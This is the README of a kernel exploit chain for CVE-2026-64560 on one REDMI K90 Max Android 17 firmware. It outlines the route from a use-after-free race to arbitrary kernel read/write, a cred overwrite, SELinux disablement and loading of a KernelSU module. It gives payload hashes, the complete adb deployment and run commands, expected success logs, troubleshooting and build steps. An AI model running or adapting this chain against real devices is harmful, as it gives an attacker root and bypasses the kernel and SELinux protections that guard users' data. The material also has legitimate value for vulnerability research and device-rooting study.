Kernel UAF exploit chain for CVE-2026-64560 on REDMI K90 Max (Android 17): race in posix-cpu-timers, KASLR leak, cred overwrite, and KernelSU module load.
Obtain temporary root on the REDMI K90 Max (codename prague, OS4.0.0.14.XAACNXM) using CVE-2026-64560, and load the KernelSU module.
The vulnerability itself is a race in posix-cpu-timers between "non-leader thread exec()" and "process-level CPU timer deletion", which causes a use-after-free of struct k_itimer. This project turns this UAF into a complete attack chain: UAF → controlled write → KASLR leak → forge a miscdevice to obtain arbitrary kernel read/write → pipe physical page redirection → overwrite cred + disable SELinux → finit_module to load KernelSU.
[!WARNING] This is experimental kernel exploit code. It overwrites kernel memory, disables SELinux, and loads unsigned modules, and may directly panic and reboot, lose data, or even brick the device. Use it only on your own device. Back up important data before running it, and make sure you know how to enter fastboot.
This is not a port. The reference relationship is as follows:
| Part | Source |
|---|---|
| Understanding of the vulnerability mechanism, race thread structure, kprobe perturbation approach | Official NebuSec CyberMeowfia PoC |
The technique of choosing irq as the kprobe group name, bypassing tracefs permissions, and all steps after the UAF hit | Independently designed and machine-verified by this project |
Specifically, the official PoC targets blazer (objsize = 264, stride 0x108, 31 slots). On this device, struct k_itimer is 0x100 (256 B), and one order-1 slab holds 32 objects; copying it directly would miss the 32nd slot, and then rb_next would step on the SLUB freelist obfuscation pointer and panic. Places like this, where "parameters must be recalculated for this device," run through the entire chain; see docs/TECHNICAL.md.
Only this one device and this one firmware version.
| Item | Required value |
|---|---|
| Device | REDMI K90 Max / prague / model 2604FRK1EC |
| Platform | mt6993 (MediaTek) |
| Fingerprint | Redmi/prague/prague:17/CP2A.260605.016/OS4.0.0.14.XAACNXM:user/release-keys |
| Kernel | 6.12.69-android16-6-g586bfab1b9c5-abogki536749445-4k |
| Android | 17 (API 37) |
| Page size / CPU | 4 KiB / 8 cores |
| Running identity | shell (u:r:shell:s0), requires ADB |
At startup, exploit verifies ro.build.fingerprint + ro.product.device + /proc/cmdline (excluding gem5/QEMU), and exits directly if they do not match (TARGET_PROFILE_GATE_FAIL). If the firmware is changed, the symbol addresses need to be re-extracted.
The source code also retains three other profiles: frankel (gem5 emulator), blazer (Pixel, the official PoC target), and dada (Xiaomi 15); they are other target branches in the same source code. This project has only verified prague.
50388054acedc656bda2d2e6f0d8f91416cec18c960831f8e65a7c650c1113ca payload/libexploit.so (124848 B, MD5 325f44b6299136165de02f8d69887ff1)
89bf372b39e82f88934dde4e488c52d3cfe57932bd3f630bbf267cc03aca508e payload/kernelsu-prague.ko (386624 B, MD5 058122aa96795c80a717918475e06718)
3a429cd46412ee3ad6634f7e5b1e999cb6f87fe973bab0ef65c955adc16de87c src/exploit-prague.c
kernelsu-prague.ko is the official KernelSU v3.3.0 module; only the kernel version 6.12.76 in vermagic was changed to 6.12.69 to match this machine, and all other bytes are untouched.
Although libexploit.so is named .so, it is actually an ordinary PIE executable—the suffix was changed only so it could be placed into an Android App's jniLibs while retaining executable permissions. Command-line usage is unaffected.
Rebuilding from src/exploit-prague.c with the command above, the four PT_LOAD segments are byte-for-byte identical to the released payload, and executable behavior is exactly the same. The whole-file hash will differ, with all differences falling in the st_name field of .symtab—the ordering of symbol names in .strtab is affected by the build environment (clang version/host platform) and does not participate in loading.
adb(Android Platform Tools)SERIAL=<你的设备序列号>
T=/data/local/tmp
# 1. 部署载荷
adb -s $SERIAL push payload/libexploit.so $T/pk64560
adb -s $SERIAL push payload/kernelsu-prague.ko $T/kernelsu-prague.ko
adb -s $SERIAL push scripts/kp_arm.sh $T/kp_arm.sh
adb -s $SERIAL shell "chmod 755 $T/pk64560 $T/kp_arm.sh"
# 2. 布 kprobe 扰动(每次重启后都必须重做)
adb -s $SERIAL shell "sh $T/kp_arm.sh"
# 期望看到:PROBE_OK attempt=0 / IRQ_ENABLE_OK / TRACING_ON_OK / tracing_on=1
# 3. 预检
adb -s $SERIAL shell "$T/pk64560 --preflight"
# 期望最后一行:PREFLIGHT_PASS race_not_started=1 kernel_writes=0
# 4. 跑
adb -s $SERIAL shell "$T/pk64560 --run > $T/rt.log 2>&1"
adb -s $SERIAL pull $T/rt.log run.log
Why use adb shell "... > file" instead of redirecting to local: Local redirection with adb exec-out and adb shell silently drops bytes on long output or when the process is interrupted by a panic (observed: return code 0, file 0 bytes). Having the device write the file itself and then pulling it is the only reliable approach. Likewise, do not run in the background with nohup ... &—buffers not yet flushed to disk will disappear along with the panic.
The following appears in the logs, and su is available:
EXEC_REPEAT_GATE_PASS ...
RCU_FORCE attempt=1 ... created=72000 deleted=72000 errors=0
SLAB_DRAIN_PASS attempt=N active=... total=...
STAGE0_GATE_PASS slide=0x... kernel_base=0x...
MISC_LIST_RESTORE_PASS ... depth=65
MISC_BRIDGE_RW_PASS fd=...
PIPE_RECLAIM_PASS base=0x... page=0x...
STAGE8_CHILD_USERLAND_PASS uid=0 gid=0 groups=... caps=0x1ffffffffff
ROOT_CHILD_HOLD_PASS child=... uid=0
KSU_PATCH_SYMBOLS patched=218 missing=0
KSU_FINIT_MODULE result=0 errno=0
KSU_LOAD_PASS rc=0 loaded=1
Verification:
adb -s $SERIAL shell "grep kernelsu /proc/modules" # kernelsu 217088 0 - Live ... (O)
adb -s $SERIAL shell "su -c id" # uid=0(root) ... context=u:r:ksu:s0
su is only visible after authorization by the KernelSU manager. On first use, you need to grant authorization to the caller in the KernelSU manager.
BOOTID_WRITE_MISS attempts=128, meaning all 128 race attempts missed. Just rerun; no need to reboot.adb shell cat /proc/sys/kernel/random/boot_id; after running, compare it—if it changed, a panic occurred. The crash scene is in /data/aee_exp/boot_log_*.gz (root required to read).PROBE_STATE win=0. miuibpf periodically re-registers its own kprobe, clearing out window0 along with the entire enable group. scripts/kp_guard.sh is a daemon written for this purpose; you can use it when running long tasks.[!IMPORTANT]
kill -9掉 exploit 进程后必须adb reboot。UAF 已经把内核里的 rbtree 节点改坏了,强杀不会恢复,继续操作会触发 hard-watchdog FIQ panic。
Requires Android NDK r29 (29.0.14206865) and the API 35 toolchain:
CC=$ANDROID_HOME/ndk/29.0.14206865/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang
$CC -std=gnu17 -O2 -fPIE -pie -pthread -Wall -Wextra -Werror \
src/exploit-prague.c -o payload/libexploit.so
src/ksu_symbols.inc must be placed in the same directory as src/exploit-prague.c—it is directly included via #include "ksu_symbols.inc" and is not a separately compiled translation unit.
src/probes/*.c are standalone small tools for troubleshooting, built in the same way, and their outputs do not participate in the main flow.